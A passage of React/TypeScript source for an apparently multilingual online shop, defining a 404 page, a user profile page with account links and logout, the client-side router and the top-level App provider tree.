<div className="flex items-center justify-center gap-2 mt-6 text-xs text-gray-700">
<svg
className="w-4 h-4"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"
/>
</svg>
<span>{t("ssl_badge")}</span>
</div>
</div>
</div>
);
}
// ─── 404 Page ────────────────────────────────────────
function NotFoundPage() {
const { t } = useLang();
return (
<div className="text-center py-20 text-white/40">
<div className="text-6xl mb-4">404</div>
<p className="text-lg">{t("not_found")}</p>
<Link
href="/"
className="mt-4 inline-block text-orange-400 hover:text-orange-300"
>
{t("back_home")}
</Link>
</div>
);
}
// ─── Profile Page ────────────────────────────────────
function ProfilePage() {
const { t } = useLang();
const { user, logout, openAuth } = useAuth();
const [, navigate] = useLocation();
if (!user) {
return (
<div className="max-w-screen-xl mx-auto px-4 py-20 text-center">
<div className="inline-flex items-center justify-center w-20 h-20 rounded-full bg-white/5 border border-white/10 mb-6">
<svg
className="w-10 h-10 text-white/30"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={1.5}
d="M16 7a4 4 0 11-8 0 4 4 0 018 0zM12 14a7 7 0 00-7 7h14a7 7 0 00-7-7z"
/>
</svg>
</div>
<h2 className="text-xl font-black text-white mb-2">
{t("profile_login_first")}
</h2>
<p className="text-white/40 text-sm mb-6">{t("profile_login_sub")}</p>
<button
onClick={() => openAuth("login")}
className="bg-orange-500 hover:bg-orange-600 text-white font-bold px-8 py-3 rounded-xl transition-colors"
>
{t("login")}
</button>
</div>
);
}
const initial = (user.name || user.email)[0].toUpperCase();
return (
<div className="max-w-screen-xl mx-auto px-4 py-8">
<button
onClick={() => window.history.back()}
className="flex items-center gap-1.5 text-white/50 hover:text-orange-400 transition-colors bg-white/5 hover:bg-orange-500/10 border border-white/10 hover:border-orange-500/30 rounded-xl px-3 py-1.5 text-sm mb-6"
>
<svg
className="w-4 h-4"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M15 19l-7-7 7-7"
/>
</svg>
{t("back")}
</button>
<div className="max-w-lg mx-auto space-y-4">
{/* Profile Card */}
<div className="bg-gradient-to-br from-orange-500/10 to-orange-600/5 border border-orange-500/20 rounded-2xl p-6">
<div className="flex items-center gap-4">
<div className="w-16 h-16 rounded-full bg-orange-500 flex items-center justify-center shrink-0">
<span className="text-white font-black text-2xl">{initial}</span>
</div>
<div>
<h2 className="text-xl font-black text-white">
{user.name || t("user_default")}
</h2>
<p className="text-white/50 text-sm mt-0.5">{user.email}</p>
<span className="inline-block mt-2 text-xs bg-orange-500/20 text-orange-400 border border-orange-500/30 rounded-full px-2.5 py-0.5">
{t("extra_member")}
</span>
</div>
</div>
</div>
{/* Quick Links */}
{[
{
icon: "M16 11V7a4 4 0 00-8 0v4M5 9h14l1 12H4L5 9z",
label: t("my_orders"),
sub: t("my_orders_sub"),
href: "/category/0",
},
{
icon: "M4.318 6.318a4.5 4.5 0 000 6.364L12 20.364l7.682-7.682a4.5 4.5 0 00-6.364-6.364L12 7.636l-1.318-1.318a4.5 4.5 0 00-6.364 0z",
label: t("wishlist"),
sub: t("wishlist_sub"),
href: "/category/0",
},
{
icon: "M17.657 16.657L13.414 20.9a1.998 1.998 0 01-2.827 0l-4.244-4.243a8 8 0 1111.314 0z M15 11a3 3 0 11-6 0 3 3 0 016 0z",
label: t("my_addresses"),
sub: t("my_addresses_sub"),
href: "/",
},
{
icon: "M3 10h18M7 15h1m4 0h1m-7 4h12a3 3 0 003-3V8a3 3 0 00-3-3H6a3 3 0 00-3 3v8a3 3 0 003 3z",
label: t("payment_methods"),
sub: t("payment_methods_sub"),
href: "/cart",
},
].map((item) => (
<Link
key={item.label}
href={item.href}
className="flex items-center justify-between p-4 bg-white/4 hover:bg-white/7 border border-white/10 hover:border-orange-500/30 rounded-xl transition-all group"
>
<div className="flex items-center gap-3">
<div className="w-10 h-10 rounded-xl bg-orange-500/10 border border-orange-500/20 flex items-center justify-center">
<svg
className="w-5 h-5 text-orange-400"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={1.8}
d={item.icon}
/>
</svg>
</div>
<div>
<p className="text-white font-semibold text-sm">{item.label}</p>
<p className="text-white/40 text-xs">{item.sub}</p>
</div>
</div>
<svg
className="w-4 h-4 text-white/30 group-hover:text-orange-400 transition-colors rotate-180"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M15 19l-7-7 7-7"
/>
</svg>
</Link>
))}
{/* Logout */}
<button
onClick={() => {
logout();
navigate("/");
}}
className="w-full flex items-center justify-center gap-2 p-4 bg-red-500/8 hover:bg-red-500/15 border border-red-500/20 hover:border-red-500/40 rounded-xl text-red-400 font-semibold text-sm transition-all"
>
<svg
className="w-4 h-4"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M17 16l4-4m0 0l-4-4m4 4H7m6 4v1a3 3 0 01-3 3H6a3 3 0 01-3-3V7a3 3 0 013-3h4a3 3 0 013 3v1"
/>
</svg>
{t("logout")}
</button>
</div>
</div>
);
}
// ─── Router ─────────────────────────────────────────
function Router() {
const [location] = useLocation();
const isAdmin = location.startsWith("/admin");
if (isAdmin)
return (
<Switch>
<Route path="/admin" component={AdminPage} />
</Switch>
);
return (
<>
<AnnouncementBar />
<Header />
<main className="min-h-screen">
<Switch>
<Route path="/" component={Home} />
<Route path="/cart" component={CartPage} />
<Route path="/checkout" component={CheckoutPage} />
<Route path="/category/:id" component={Category} />
<Route path="/product/:id" component={ProductPage} />
<Route path="/profile" component={ProfilePage} />
<Route>
<NotFoundPage />
</Route>
</Switch>
</main>
<Footer />
</>
);
}
export default function App() {
return (
<QueryClientProvider client={queryClient}>
<WouterRouter base={import.meta.env.BASE_URL.replace(/\/$/, "")}>
<LanguageProvider>
<CartProvider>
<ToastProvider>
<AuthProvider>
<Router />
</AuthProvider>
</ToastProvider>
</CartProvider>
</LanguageProvider>
</WouterRouter>
</QueryClientProvider>
);
}